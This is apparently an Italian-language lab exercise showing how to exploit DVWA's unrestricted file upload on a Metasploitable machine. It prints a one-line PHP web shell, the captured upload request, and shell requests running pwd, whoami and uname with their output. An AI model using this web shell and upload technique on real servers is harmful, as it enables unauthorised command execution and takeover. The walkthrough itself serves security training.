


Nell'esercizio di oggi vedremo come sfruttare una vulnerabilità di file upload libero. Questa vulnerabilità consente ad un malintenzionato di caricare ed eseguire codice malevolo senza restrizioni. Essa può avere un impatto più o meno grave in base a molteplici fattori, dai permessi dell'utente alla configurazione del sistema. Può portare ad attacchi Dos, accessi non autorizzati.

Cominciamo con il creare del codice che verrà eseguito una volta che il nostro file malevolo sarà caricato nel server dwva di metasploitable.

```
<?php system($_REQUEST["cmd"]); ?>
```

Entriamo, tramite browser, nel server e andiamo nella sezione di upload, dopodichè carichiamo il nostro file.



Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Vulnerability: File Upload

Choose an image to upload:
 shell.php

More info

http://www.owasp.org/index.php/Unrestricted_File_Upload
<http://blogs.securiteam.com/index.php/archives/1268>
<http://www.acunetix.com/websecurity/upload-forms-threat.htm>

Username: admin
Security Level: low
PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.0.7

```

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 10.0.2.8
Content-Length: 434
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.0.2.8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW3vQwNNGCn6XGRR8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.0.2.8/dvwa/vulnerabilities/upload/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: security=low; PHPSESSID=8e6f22d25efb5c167586abf7ce05f4eb
Connection: close

-----WebKitFormBoundaryW3vQwNNGCn6XGRR8
Content-Disposition: form-data; name="MAX_FILE_SIZE"


100000
-----WebKitFormBoundaryW3vQwNNGCn6XGRR8
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/x-php

<?php system($_REQUEST["cmd"]); ?>

-----WebKitFormBoundaryW3vQwNNGCn6XGRR8
Content-Disposition: form-data; name="Upload"

Upload
-----WebKitFormBoundaryW3vQwNNGCn6XGRR8--

```



- Home
- Instructions
- Setup
- Brute Force
- Command Execution
- CSRF
- File Inclusion
- SQL Injection
- SQL Injection (Blind)
- Upload
- XSS reflected
- XSS stored
- DVWA Security
- PHP Info
- About
- Logout

Vulnerability: File Upload

Choose an image to upload:

No file selected.

../../../../hackable/uploads/shell.php succesfully uploaded!

More info

http://www.owasp.org/index.php/Unrestricted_File_Upload
<http://blogs.securiteam.com/index.php/archives/1268>
<http://www.acunetix.com/websitesecurity/upload-forms-threat.htm>

Username: admin
 Security Level: low
 PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.0.7

Il file è stato caricato con successo, a questo punto basterà andare nella barra degli indirizzi e scrivere il percorso mostrato nella figura sopra per eseguirlo.

```

GET /dvwa/hackable/uploads/shell.php HTTP/1.1
Host: 10.0.2.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: security=low; PHPSESSID=8e6f22d25efb5c167586abf7ce05f4eb
Connection: close

```

Warning: system() [function.system]: Cannot execute a blank command in /var/www/dvwa/hackable/uploads/shell.php on line 1

Ci verrà mostrato un errore perché manca un comando da eseguire.

Ipotizziamo di essere degli hacker e cerchiamo di ottenere ulteriori informazioni sulla macchina attaccata.

Con il comando “pwd” (print working directory) possiamo vedere la cartella in cui siamo.

```
GET /dvwa/hackable/uploads/shell.php?cmd=pwd HTTP/1.1
Host: 10.0.2.8
Cookie: security=low; PHPSESSID=8e6f22d25efb5c167586abf7ce05f4eb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
```

/var/www/dvwa/hackable/uploads

Con il comando “whoami” possiamo vedere lo username corrente.

```
GET /dvwa/hackable/uploads/shell.php?cmd=whoami HTTP/1.1
Host: 10.0.2.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
```

www-data

Con il comando “uname” possiamo ottenere informazioni sul sistema operativo corrente.

```
GET /dvwa/hackable/uploads/shell.php?cmd=uname%20-a HTTP/1.1
Host: 10.0.2.8
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: security=low; PHPSESSID=8e6f22d25efb5c167586abf7ce05f4eb
Connection: close
```

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Questo è quello che abbiamo potuto fare con una semplice riga di codice, ma se avessimo caricato un file come, per esempio, una reverse shell avremmo potuto prendere il controllo del server.